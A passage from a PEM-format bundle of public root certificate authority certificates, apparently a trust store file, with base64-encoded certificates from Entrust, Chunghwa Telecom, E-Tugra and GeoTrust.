MtO8ihJTmMmJ+xAdTX7Nfh9WDSFwhfYggx/2uh8Ej+p3iDXE/+pOoYtNP2MbRMNE
1CV2yreN1x5KZmTNXMWcg+HCCIia7E6j8T4cLNlsHaFLAgMBAAGjgYowgYcwDwYD
VR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFBLyWj7qVhy/
zQas8fElyalL1BSZMEUGA1UdJQQ+MDwGCCsGAQUFBwMCBggrBgEFBQcDAQYIKwYB
BQUHAwMGCCsGAQUFBwMEBggrBgEFBQcDCAYIKwYBBQUHAwkwDQYJKoZIhvcNAQEF
BQADggEBAHv25MANqhlHt01Xo/6tu7Fq1Q+e2+RjxY6hUFaTlrg4wCQiZrxTFGGV
v9DHKpY5P30osxBAIWrEr7BSdxjhlthWXePdNl4dp1BUoMUq5KqMlIpPnTX/dqQG
E5Gion0ARD9V04I8GtVbvFZMIi5GQ4okQC3zErg7cBqklrkar4dBGmoYDQZPxz5u
uSlNDUmJEYcyW+ZLBMjkXOZ0c5RdFpgTlf7727FE5TpwrDdr5rMzcijJs1eg9gIW
iAYLtqZLICjU3j2LrTcFU3T+bsy8QxdxXvnFzBqpYe73dgzzcvRyrc9yAjYHR8/v
GVCJYMzpJJUPwssd8m92kMfMdcGWxZ0=
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIEKjCCAxKgAwIBAgIEOGPe+DANBgkqhkiG9w0BAQUFADCBtDEUMBIGA1UEChML
RW50cnVzdC5uZXQxQDA+BgNVBAsUN3d3dy5lbnRydXN0Lm5ldC9DUFNfMjA0OCBp
bmNvcnAuIGJ5IHJlZi4gKGxpbWl0cyBsaWFiLikxJTAjBgNVBAsTHChjKSAxOTk5
IEVudHJ1c3QubmV0IExpbWl0ZWQxMzAxBgNVBAMTKkVudHJ1c3QubmV0IENlcnRp
ZmljYXRpb24gQXV0aG9yaXR5ICgyMDQ4KTAeFw05OTEyMjQxNzUwNTFaFw0yOTA3
MjQxNDE1MTJaMIG0MRQwEgYDVQQKEwtFbnRydXN0Lm5ldDFAMD4GA1UECxQ3d3d3
LmVudHJ1c3QubmV0L0NQU18yMDQ4IGluY29ycC4gYnkgcmVmLiAobGltaXRzIGxp
YWIuKTElMCMGA1UECxMcKGMpIDE5OTkgRW50cnVzdC5uZXQgTGltaXRlZDEzMDEG
A1UEAxMqRW50cnVzdC5uZXQgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgKDIwNDgp
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArU1LqRKGsuqjIAcVFmQq
K0vRvwtKTY7tgHalZ7d4QMBzQshowNtTK91euHaYNZOLGp18EzoOH1u3Hs/lJBQe
sYGpjX24zGtLA/ECDNyrpUAkAH90lKGdCCmziAv1h3edVc3kw37XamSrhRSGlVuX
MlBvPci6Zgzj/L24ScF2iUkZ/cCovYmjZy/Gn7xxGWC4LeksyZB2ZnuU4q941mVT
XTzWnLLPKQP5L6RQstRIzgUyVYr9smRMDuSYB3Xbf9+5CFVghTAp+XtIpGmG4zU/
HoZdenoVve8AjhUiVBcAkCaTvA5JaJG/+EfTnZVCwQ5N328mz8MYIWJmQ3DW1cAH
4QIDAQABo0IwQDAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAdBgNV
HQ4EFgQUVeSB0RGAvtiJuQijMfmhJAkWuXAwDQYJKoZIhvcNAQEFBQADggEBADub
j1abMOdTmXx6eadNl9cZlZD7Bh/KM3xGY4+WZiT6QBshJ8rmcnPyT/4xmf3IDExo
U8aAghOY+rat2l098c5u9hURlIIM7j+VrxGrD9cv3h8Dj1csHsm7mhpElesYT6Yf
zX1XEC+bBAlahLVu2B064dae0Wx5XnkcFMXj0EyTO2U87d89vqbllRrDtRnDvV5b
u/8j72gZyxKTJ1wDLW8w0B62GqzeWvfRqqgnpv55gcR5mTNXuhKwqeBCbJPKVt7+
bYQLCIt+jerXmCHG8+c8eS9enNFMFY3h7CI3zJpDC5fcgJCNs2ebb0gIFVbPv/Er
fF6adulZkMV8gzURZVE=
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIEkTCCA3mgAwIBAgIERWtQVDANBgkqhkiG9w0BAQUFADCBsDELMAkGA1UEBhMC
VVMxFjAUBgNVBAoTDUVudHJ1c3QsIEluYy4xOTA3BgNVBAsTMHd3dy5lbnRydXN0
Lm5ldC9DUFMgaXMgaW5jb3Jwb3JhdGVkIGJ5IHJlZmVyZW5jZTEfMB0GA1UECxMW
KGMpIDIwMDYgRW50cnVzdCwgSW5jLjEtMCsGA1UEAxMkRW50cnVzdCBSb290IENl
cnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTA2MTEyNzIwMjM0MloXDTI2MTEyNzIw
NTM0MlowgbAxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1FbnRydXN0LCBJbmMuMTkw
NwYDVQQLEzB3d3cuZW50cnVzdC5uZXQvQ1BTIGlzIGluY29ycG9yYXRlZCBieSBy
ZWZlcmVuY2UxHzAdBgNVBAsTFihjKSAyMDA2IEVudHJ1c3QsIEluYy4xLTArBgNV
BAMTJEVudHJ1c3QgUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTCCASIwDQYJ
KoZIhvcNAQEBBQADggEPADCCAQoCggEBALaVtkNC+sZtKm9I35RMOVcF7sN5EUFo
Nu3s/poBj6E4KPz3EEZmLk0eGrEaTsbRwJWIsMn/MYszA9u3g3s+IIRe7bJWKKf4
4LlAcTfFy0cOlypowCKVYhXbR9n10Cv/gkvJrT7eTNuQgFA/CYqEAOwwCj0Yzfv9
KlmaI5UXLEWeH25DeW0MXJj+SKfFI0dcXv1u5x609mhF0YaDW6KKjbHjKYD+JXGI
rb68j6xSlkuqUY3kEzEZ6E5Nn9uss2rVvDlUccp6en+Q3X0dgNmBu1kmwhH+5pPi
94DkZfs0Nw4pgHBNrziGLp5/V6+eF67rHMsoIV+2HNjnogQi+dPa2MsCAwEAAaOB
sDCBrTAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zArBgNVHRAEJDAi
gA8yMDA2MTEyNzIwMjM0MlqBDzIwMjYxMTI3MjA1MzQyWjAfBgNVHSMEGDAWgBRo
kORnpKZTgMeGZqTx90tD+4S9bTAdBgNVHQ4EFgQUaJDkZ6SmU4DHhmak8fdLQ/uE
vW0wHQYJKoZIhvZ9B0EABBAwDhsIVjcuMTo0LjADAgSQMA0GCSqGSIb3DQEBBQUA
A4IBAQCT1DCw1wMgKtD5Y+iRDAUgqV8ZyntyTtSx29CW+1RaGSwMCPeyvIWonX9t
O1KzKtvn1ISMY/YPyyYBkVBs9F8U4pN0wBOeMDpQ47RgxRzwIkSNcUesyBrJ6Zua
AGAT/3B+XxFNSRuzFVJ7yVTav52Vr2ua2J7p8eRDjeIRRDq/r72DQnNSi6q7pynP
9WQcCk3RvKqsnyrQ/39/2n3qse0wJcGE2jTSW3iDVuycNsMm4hH2Z0kdkquM++v/
eu6FSqdQgPCnXEqULl8FmTxSQeDNtGPPAUO6nIPcj2A781q0tHuu2guQOHXvgR1m
0vdXcDazv/wor3ElhVsT/h5/WrQ8
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIC+TCCAoCgAwIBAgINAKaLeSkAAAAAUNCR+TAKBggqhkjOPQQDAzCBvzELMAkG
A1UEBhMCVVMxFjAUBgNVBAoTDUVudHJ1c3QsIEluYy4xKDAmBgNVBAsTH1NlZSB3
d3cuZW50cnVzdC5uZXQvbGVnYWwtdGVybXMxOTA3BgNVBAsTMChjKSAyMDEyIEVu
dHJ1c3QsIEluYy4gLSBmb3IgYXV0aG9yaXplZCB1c2Ugb25seTEzMDEGA1UEAxMq
RW50cnVzdCBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRUMxMB4XDTEy
MTIxODE1MjUzNloXDTM3MTIxODE1NTUzNlowgb8xCzAJBgNVBAYTAlVTMRYwFAYD
VQQKEw1FbnRydXN0LCBJbmMuMSgwJgYDVQQLEx9TZWUgd3d3LmVudHJ1c3QubmV0
L2xlZ2FsLXRlcm1zMTkwNwYDVQQLEzAoYykgMjAxMiBFbnRydXN0LCBJbmMuIC0g
Zm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxMzAxBgNVBAMTKkVudHJ1c3QgUm9vdCBD
ZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEVDMTB2MBAGByqGSM49AgEGBSuBBAAi
A2IABIQTydC6bUF74mzQ61VfZgIaJPRbiWlH47jCffHyAsWfoPZb1YsGGYZPUxBt
ByQnoaD41UcZYUx9ypMn6nQM72+WCf5j7HBdNq1nd67JnXxVRDqiY1Ef9eNi1KlH
Bz7MIKNCMEAwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0O
BBYEFLdj5xrdjekIplWDpOBqUEFlEUJJMAoGCCqGSM49BAMDA2cAMGQCMGF52OVC
R98crlOZF7ZvHH3hvxGU0QOIdeSNiaSKd0bebWHvAvX7td/M/k7//qnmpwIwW5nX
hTcGtXsI/esni0qU+eH6p44mCOh8kmhtc9hvJqwhAriZtyZBWyVgrtBIGu4G
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIEPjCCAyagAwIBAgIESlOMKDANBgkqhkiG9w0BAQsFADCBvjELMAkGA1UEBhMC
VVMxFjAUBgNVBAoTDUVudHJ1c3QsIEluYy4xKDAmBgNVBAsTH1NlZSB3d3cuZW50
cnVzdC5uZXQvbGVnYWwtdGVybXMxOTA3BgNVBAsTMChjKSAyMDA5IEVudHJ1c3Qs
IEluYy4gLSBmb3IgYXV0aG9yaXplZCB1c2Ugb25seTEyMDAGA1UEAxMpRW50cnVz
dCBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzIwHhcNMDkwNzA3MTcy
NTU0WhcNMzAxMjA3MTc1NTU0WjCBvjELMAkGA1UEBhMCVVMxFjAUBgNVBAoTDUVu
dHJ1c3QsIEluYy4xKDAmBgNVBAsTH1NlZSB3d3cuZW50cnVzdC5uZXQvbGVnYWwt
dGVybXMxOTA3BgNVBAsTMChjKSAyMDA5IEVudHJ1c3QsIEluYy4gLSBmb3IgYXV0
aG9yaXplZCB1c2Ugb25seTEyMDAGA1UEAxMpRW50cnVzdCBSb290IENlcnRpZmlj
YXRpb24gQXV0aG9yaXR5IC0gRzIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQC6hLZy254Ma+KZ6TABp3bqMriVQRrJ2mFOWHLP/vaCeb9zYQYKpSfYs1/T
RU4cctZOMvJyig/3gxnQaoCAAEUesMfnmr8SVycco2gvCoe9amsOXmXzHHfV1IWN
cCG0szLni6LVhjkCsbjSR87kyUnEO6fe+1R9V77w6G7CebI6C1XiUJgWMhNcL3hW
wcKUs/Ja5CeanyTXxuzQmyWC48zCxEXFjJd6BmsqEZ+pCm5IO2/b1BEZQvePB7/1
U1+cPvQXLOZprE4yTGJ36rfo5bs0vBmLrpxR57d+tVOxMyLlbc9wPBr64ptntoP0
jaWvYkxN4FisZDQSA/i2jZRjJKRxAgMBAAGjQjBAMA4GA1UdDwEB/wQEAwIBBjAP
BgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBRqciZ60B7vfec7aVHUbI2fkBJmqzAN
BgkqhkiG9w0BAQsFAAOCAQEAeZ8dlsa2eT8ijYfThwMEYGprmi5ZiXMRrEPR9RP/
jTkrwPK9T3CMqS/qF8QLVJ7UG5aYMzyorWKiAHarWWluBh1+xLlEjZivEtRh2woZ
Rkfz6/djwUAFQKXSt/S1mja/qYh2iARVBCuch38aNzx+LaUa2NSJXsq9rD1s2G2v
1fN2D807iDginWyTmsQ9v4IbZT+mD12q/OWyFcq1rca8PdCE6OoGcrBNOTJ4vz4R
nAuknZoh8/CbCzB428Hch0P+vGOaysXCHMnHjf87ElgI5rY97HosTvuDls4MPGmH
VHOkc8KT/1EQrBVUAdj8BbGJoX90g5pJ19xOe4pIb4tF9g==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIFsDCCA5igAwIBAgIQFci9ZUdcr7iXAF7kBtK8nTANBgkqhkiG9w0BAQUFADBe
MQswCQYDVQQGEwJUVzEjMCEGA1UECgwaQ2h1bmdod2EgVGVsZWNvbSBDby4sIEx0
ZC4xKjAoBgNVBAsMIWVQS0kgUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAe
Fw0wNDEyMjAwMjMxMjdaFw0zNDEyMjAwMjMxMjdaMF4xCzAJBgNVBAYTAlRXMSMw
IQYDVQQKDBpDaHVuZ2h3YSBUZWxlY29tIENvLiwgTHRkLjEqMCgGA1UECwwhZVBL
SSBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIICIjANBgkqhkiG9w0BAQEF
AAOCAg8AMIICCgKCAgEA4SUP7o3biDN1Z82tH306Tm2d0y8U82N0ywEhajfqhFAH
SyZbCUNsIZ5qyNUD9WBpj8zwIuQf5/dqIjG3LBXy4P4AakP/h2XGtRrBp0xtInAh
ijHyl3SJCRImHJ7K2RKilTza6We/CKBk49ZCt0Xvl/T29de1ShUCWH2YWEtgvM3X
DZoTM1PRYfl61dd4s5oz9wCGzh1NlDivqOx4UXCKXBCDUSH3ET00hl7lSM2XgYI1
TBnsZfZrxQWh7kcT1rMhJ5QQCtkkO7q+RBNGMD+XPNjX12ruOzjjK9SXDrkb5wdJ
fzcq+Xd4z1TtW0ado4AOkUPB1ltfFLqfpo0kR0BZv3I4sjZsN/+Z0V0OWQqraffA
sgRFelQArr5T9rXn4fg8ozHSqf4hUmTFpmfwdQcGlBSBVcYn5AGPF8Fqcde+S/uU
WH1+ETOxQvdibBjWzwloPn9s9h6PYq2lY9sJpx8iQkEeb5mKPtf5P0B6ebClAZLS
nT0IFaUQAS2zMnaolQ2zepr7BxB4EW/hj8e6DyUadCrlHJhBmd8hh+iVBmoKs2pH
dmX2Os+PYhcZewoozRrSgx4hxyy/vv9haLdnG7t4TY3OZ+XkwY63I2binZB1NJip
NiuKmpS5nezMirH4JYlcWrYvjB9teSSnUmjDhDXiZo1jDiVN1Rmy5nk3pyKdVDEC
AwEAAaNqMGgwHQYDVR0OBBYEFB4M97Zn8uGSJglFwFU5Lnc/QkqiMAwGA1UdEwQF
MAMBAf8wOQYEZyoHAAQxMC8wLQIBADAJBgUrDgMCGgUAMAcGBWcqAwAABBRFsMLH
ClZ87lt4DJX5GFPBphzYEDANBgkqhkiG9w0BAQUFAAOCAgEACbODU1kBPpVJufGB
uvl2ICO1J2B01GqZNF5sAFPZn/KmsSQHRGoqxqWOeBLoR9lYGxMqXnmbnwoqZ6Yl
PwZpVnPDimZI+ymBV3QGypzqKOg4ZyYr8dW1P2WT+DZdjo2NQCCHGervJ8A9tDkP
JXtoUHRVnAxZfVo9QZQlUgjgRywVMRnVvwdVxrsStZf0X4OFunHB2WyBEXYKCrC/
gpf36j36+uwtqSiUO1bd0lEursC9CBWMd1I0ltabrNMdjmEPNXubrjlpC2JgQCA2
j6/7Nu4tCEoduL+bXPjqpRugc6bY+G7gMwRfaKonh+3ZwZCc7b3jajWvY9+rGNm6
5ulK6lCKD2GTHuItGeIwlDWSXQ62B68ZgI9HkFFLLk3dheLSClIKF5r8GrBQAuUB
o2M3IUxExJtRmREOc5wGj1QupyheRDmHVi03vYVElOEMSyycw5KFNGHLD7ibSkNS
/jQ6fbjpKdx2qcgw+BRxgMYeNkh0IkFch4LoGHGLQYlE535YW6i4jRPpp2zDR+2z
Gp1iro2C6pSe3VkQw63d4k3jMdXH7OjysP6SHhYKGvzZ8/gntsm+HbRsZJB/9OTE
W9c3rkIO3aQab3yIVMUWbuF6aC74Or8NpDyJO3inTmODBCEIZ43ygknQW/2xzQ+D
hNQ+IIX3Sj0rnP0qCglN6oH4EZw=
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIGSzCCBDOgAwIBAgIIamg+nFGby1MwDQYJKoZIhvcNAQELBQAwgbIxCzAJBgNV
BAYTAlRSMQ8wDQYDVQQHDAZBbmthcmExQDA+BgNVBAoMN0UtVHXEn3JhIEVCRyBC
aWxpxZ9pbSBUZWtub2xvamlsZXJpIHZlIEhpem1ldGxlcmkgQS7Fni4xJjAkBgNV
BAsMHUUtVHVncmEgU2VydGlmaWthc3lvbiBNZXJrZXppMSgwJgYDVQQDDB9FLVR1
Z3JhIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTEzMDMwNTEyMDk0OFoXDTIz
MDMwMzEyMDk0OFowgbIxCzAJBgNVBAYTAlRSMQ8wDQYDVQQHDAZBbmthcmExQDA+
BgNVBAoMN0UtVHXEn3JhIEVCRyBCaWxpxZ9pbSBUZWtub2xvamlsZXJpIHZlIEhp
em1ldGxlcmkgQS7Fni4xJjAkBgNVBAsMHUUtVHVncmEgU2VydGlmaWthc3lvbiBN
ZXJrZXppMSgwJgYDVQQDDB9FLVR1Z3JhIENlcnRpZmljYXRpb24gQXV0aG9yaXR5
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA4vU/kwVRHoViVF56C/UY
B4Oufq9899SKa6VjQzm5S/fDxmSJPZQuVIBSOTkHS0vdhQd2h8y/L5VMzH2nPbxH
D5hw+IyFHnSOkm0bQNGZDbt1bsipa5rAhDGvykPL6ys06I+XawGb1Q5KCKpbknSF
Q9OArqGIW66z6l7LFpp3RMih9lRozt6Plyu6W0ACDGQXwLWTzeHxE2bODHnv0ZEo
q1+gElIwcxmOj+GMB6LDu0rw6h8VqO4lzKRG+Bsi77MOQ7osJLjFLFzUHPhdZL3D
k14opz8n8Y4e0ypQBaNV2cvnOVPAmJ6MVGKLJrD3fY185MaeZkJVgkfnsliNZvcH
fC425lAcP9tDJMW/hkd5s3kc91r0E+xs+D/iWR+V7kI+ua2oMoVJl0b+SzGPWsut
dEcf6ZG33ygEIqDUD13ieU/qbIWGvaimzuT6w+Gzrt48Ue7LE3wBf4QOXVGUnhMM
ti6lTPk5cDZvlsouDERVxcr6XQKj39ZkjFqzAQqptQpHF//vkUAqjqFGOjGY5RH8
zLtJVor8udBhmm9lbObDyz51Sf6Pp+KJxWfXnUYTTjF2OySznhFlhqt/7x3U+Lzn
rFpct1pHXFXOVbQicVtbC/DP3KBhZOqp12gKY6fgDT+gr9Oq0n7vUaDmUStVkhUX
U8u3Zg5mTPj5dUyQ5xJwx0UCAwEAAaNjMGEwHQYDVR0OBBYEFC7j27JJ0JxUeVz6
Jyr+zE7S6E5UMA8GA1UdEwEB/wQFMAMBAf8wHwYDVR0jBBgwFoAULuPbsknQnFR5
XPonKv7MTtLoTlQwDgYDVR0PAQH/BAQDAgEGMA0GCSqGSIb3DQEBCwUAA4ICAQAF
Nzr0TbdF4kV1JI+2d1LoHNgQk2Xz8lkGpD4eKexd0dCrfOAKkEh47U6YA5n+KGCR
HTAduGN8qOY1tfrTYXbm1gdLymmasoR6d5NFFxWfJNCYExL/u6Au/U5Mh/jOXKqY
GwXgAEZKgoClM4so3O0409/lPun++1ndYYRP0lSWE2ETPo+Aab6TR7U1Q9Jauz1c
77NCR807VRMGsAnb/WP2OogKmW9+4c4bU2pEZiNRCHu8W1Ki/QY3OEBhj0qWuJA3
+GbHeJAAFS6LrVE1Uweoa2iu+U48BybNCAVwzDk/dr2l02cmAYamU9JgO3xDf1WK
vJUawSg5TB9D0pH0clmKuVb8P7Sd2nCcdlqMQ1DujjByTd//SffGqWfZbawCEeI6
FiWnWAjLb1NBnEg4R2gz0dfHj9R0IdTDBZB6/86WiLEVKV0jq9BgoRJP3vQXzTLl
yb/IQ639Lo7xr+L0mPoSHyDYwKcMhcWQ9DstliaxLL5Mq+ux0orJ23gTDx4JnW2P
AJ8C2sH6H3p6CcRK5ogql5+Ji/03X186zjhZhkuvcQu02PJwT58yE+Owp1fl2tpD
y4Q08ijE6m30Ku/Ba3ba+367hTzSU8JNvnHhRdH9I2cNE3X7z2VnIp2usAnRCf8d
NL/+I5c30jn6PQ0GC7TbO6Orb1wdtn7os4I07QZcJA==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIDZjCCAk6gAwIBAgIBATANBgkqhkiG9w0BAQUFADBEMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNR2VvVHJ1c3QgSW5jLjEdMBsGA1UEAxMUR2VvVHJ1c3QgR2xvYmFs
IENBIDIwHhcNMDQwMzA0MDUwMDAwWhcNMTkwMzA0MDUwMDAwWjBEMQswCQYDVQQG
EwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5jLjEdMBsGA1UEAxMUR2VvVHJ1c3Qg
R2xvYmFsIENBIDIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDvPE1A
PRDfO1MA4Wf+lGAVPoWI8YkNkMgoI5kF6CsgncbzYEbYwbLVjDHZ3CB5JIG/NTL8
Y2nbsSpr7iFY8gjpeMtvy/wWUsiRxP89c96xPqfCfWbB9X5SJBri1WeR0IIQ13hL
TytCOb1kLUCgsBDTOEhGiKEMuzozKmKY+wCdE1l/bztyqu6mD4b5BWHqZ38MN5aL
5mkWRxHCJ1kDs6ZgwiFAVvqgx306E+PsV8ez1q6diYD3Aecs9pYrEw15LNnA5IZ7
S4wMcoKK+xfNAGw6EzywhIdLFnopsk/bHdQL82Y3vdj2V7teJHq4PIu5+pIaGoSe
2HSPqht/XvT+RSIhAgMBAAGjYzBhMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYE
FHE4NvICMVNHK266ZUapEBVYIAUJMB8GA1UdIwQYMBaAFHE4NvICMVNHK266ZUap
EBVYIAUJMA4GA1UdDwEB/wQEAwIBhjANBgkqhkiG9w0BAQUFAAOCAQEAA/e1K6td
EPx7srJerJsOflN4WT5CBP51o62sgU7XAotexC3IUnbHLB/8gTKY0UvGkpMzNTEv
/NgdRN3ggX+d6YvhZJFiCzkIjKx0nVnZellSlxG5FntvRdOW2TF9AjYPnDtuzywN
A0ZF66D0f0hExghAzN4bcLUprbqLOzRldRtxIR0sFAqwlpW41uryZfspuk/qkZN0
abby/+Ea0AzRdoXLiiW9l14sbxWZJue2Kf8i7MkCx1YAzUm5s2x7UwQa4qjJqhIF
I8LO57sEAszAR6LkxCkvW0VXiVHuPOtSCP8HNR6fNWpHSlaY0VqFH4z1Ir+rzoPz
4iIprn2DQKi6bA==
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIDfDCCAmSgAwIBAgIQGKy1av1pthU6Y2yv2vrEoTANBgkqhkiG9w0BAQUFADBY
MQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5jLjExMC8GA1UEAxMo
R2VvVHJ1c3QgUHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0wNjEx
MjcwMDAwMDBaFw0zNjA3MTYyMzU5NTlaMFgxCzAJBgNVBAYTAlVTMRYwFAYDVQQK
Ew1HZW9UcnVzdCBJbmMuMTEwLwYDVQQDEyhHZW9UcnVzdCBQcmltYXJ5IENlcnRp
ZmljYXRpb24gQXV0aG9yaXR5MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEAvrgVe//UfH1nrYNke8hCUy3f9oQIIGHWAVlqnEQRr+92/ZV+zmEwu3qDXwK9
AWbK7hWNb6EwnL2hhZ6UOvNWiAAxz9juapYC2e0DjPt1befquFUWBRaa9OBesYjA
ZIVcFU2Ix7e64HXprQU9nceJSOC7KMgD4TCTZF5SwFlwIjVXiIrxlQqD17wxcwE0
7e9GceBrAqg1cmuXm2bgyxx5X9gaBGgeRwLmnWDiNpcB3841kt++Z8dtd1k7j53W
kBWUvEI0EME5+bEnPn7WinXFsq+W06Lem+SYvn3h6YGttm/81w7a4DSwDRp35+MI
mO9Y+pyEtzavwt+s0vQQBnBxNQIDAQABo0IwQDAPBgNVHRMBAf8EBTADAQH/MA4G
A1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQULNVQQZcVi/CPNmFbSvtr2ZnJM5IwDQYJ
KoZIhvcNAQEFBQADggEBAFpwfyzdtzRP9YZRqSa+S7iq8XEN3GHHoOo0Hnp3DwQ1
6CePbJC/kRYkRj5KTs4rFtULUh38H2eiAkUxT87z+gOneZ1TatnaYzr4gNfTmeGl
4b7UVXGYNTq+k+qurUKykG/g/CFNNWMziUnWm07Kx+dOCQD32sfvmWKZd7aVIl6K
oKv0uHiYyjgZmclynnjNS6yvGaBzEi38wkG6gZHaFloxt/m0cYASSJlyc1pZU8Fj
UjPtp8nSOQJw+uCxQmYpqptR7TBUIhRf2asdweSU8Pj1K/fqynhG1riR/aYNKxoU
AT6A8EKglQdebc3MS6RFjasS6LPeWuWgfOgPIh1a6Vk=
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIICrjCCAjWgAwIBAgIQPLL0SAoA4v7rJDteYD7DazAKBggqhkjOPQQDAzCBmDEL
MAkGA1UEBhMCVVMxFjAUBgNVBAoTDUdlb1RydXN0IEluYy4xOTA3BgNVBAsTMChj
KSAyMDA3IEdlb1RydXN0IEluYy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTE2
MDQGA1UEAxMtR2VvVHJ1c3QgUHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0
eSAtIEcyMB4XDTA3MTEwNTAwMDAwMFoXDTM4MDExODIzNTk1OVowgZgxCzAJBgNV
BAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMTkwNwYDVQQLEzAoYykgMjAw
NyBHZW9UcnVzdCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxNjA0BgNV
BAMTLUdlb1RydXN0IFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBH
MjB2MBAGByqGSM49AgEGBSuBBAAiA2IABBWx6P0DFUPlrOuHNxFi79KDNlJ9RVcL
So17VDs6bl8VAsBQps8lL33KSLjHUGMcKiEIfJo22Av+0SbFWDEwKCXzXV2juLal
tJLtbCyf691DiaI8S0iRHVDsJt/WYC69IaNCMEAwDwYDVR0TAQH/BAUwAwEB/zAO
BgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFBVfNVdRVfslsq0DafwBo/q+EVXVMAoG
CCqGSM49BAMDA2cAMGQCMGSWWaboCd6LuvpaiIjwH5HTRqjySkwCY/tsXzjbLkGT
qQ7mndwxHLKgpxgceeHHNgIwOlavmnRs9vuD4DPTCF+hnMJbn0bWtsuRBmOiBucz
rD6ogRLQy7rQkgu2npaqBA+K
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIID/jCCAuagAwIBAgIQFaxulBmyeUtB9iepwxgPHzANBgkqhkiG9w0BAQsFADCB
mDELMAkGA1UEBhMCVVMxFjAUBgNVBAoTDUdlb1RydXN0IEluYy4xOTA3BgNVBAsT
MChjKSAyMDA4IEdlb1RydXN0IEluYy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25s
eTE2MDQGA1UEAxMtR2VvVHJ1c3QgUHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhv
cml0eSAtIEczMB4XDTA4MDQwMjAwMDAwMFoXDTM3MTIwMTIzNTk1OVowgZgxCzAJ
BgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMTkwNwYDVQQLEzAoYykg
MjAwOCBHZW9UcnVzdCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxNjA0
BgNVBAMTLUdlb1RydXN0IFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkg
LSBHMzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANziXmJYHTNXOTIz
+uvLh4yn1ErdBojqZI4xmKU4kB6Yzy5jK/BGvESyiaHAKAxJcCGVn2TAppMSAmUm
hsalifD614SgcK9PGpc/BkTVyetyEH3kMSj7HGHmKAdEc5IiaacDiGydY8hS2pgn
5whMcD60yRLBxWeDXTPzAxHsatBT4tG6NmCUgLthY2xbF37fQJQeqw3CIShwiP/W
JmxsYAQlTlV+fe+/lEjetx3dcI0FX4ilm/LC7urRQEFtYjgdVgbFA0dRIBn8exAL
DmKudlW/X3e+PkkBUz2YJQN2JFodtNuJ6nnltrM7P7pMKEF/BqxqjsHQ9gUdfeZC
huOl1UcCAwEAAaNCMEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYw
HQYDVR0OBBYEFMR5yo6hTgMdHNxr2zFblD4/MH8tMA0GCSqGSIb3DQEBCwUAA4IB
AQAtxRPPVoB7eni9n64smefv2t+UXglpp+duaIy9cr5HqQ6XErhK8WTTOd8lNNTB
zU6B8A8ExCSzNJbGpqow32hhc9f5joWJ7w5elShKKiePEI4ufIbEAp7aDHdlDkQN
kv39sxY2+hENHYwOB4lqKVb3cvTdFZx3NWZXqxNT2I7BQMXXExZacse3aQHEerGD
AWh9jUGhlBjBJVz88P6DAod8DQ3PLghcSkANPuyBYeYk28rgDi0Hsj5W3I31QYUH
SJsMC8tJP33st/3LjWeJGqvtux6jAAgIFyqCXDFdRootD4abdNlF+9RAsXqqaC2G
spki4cErx5z481+oghLrGREt
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
MIIFaDCCA1CgAwIBAgIBATANBgkqhkiG9w0BAQUFADBFMQswCQYDVQQGEwJVUzEW
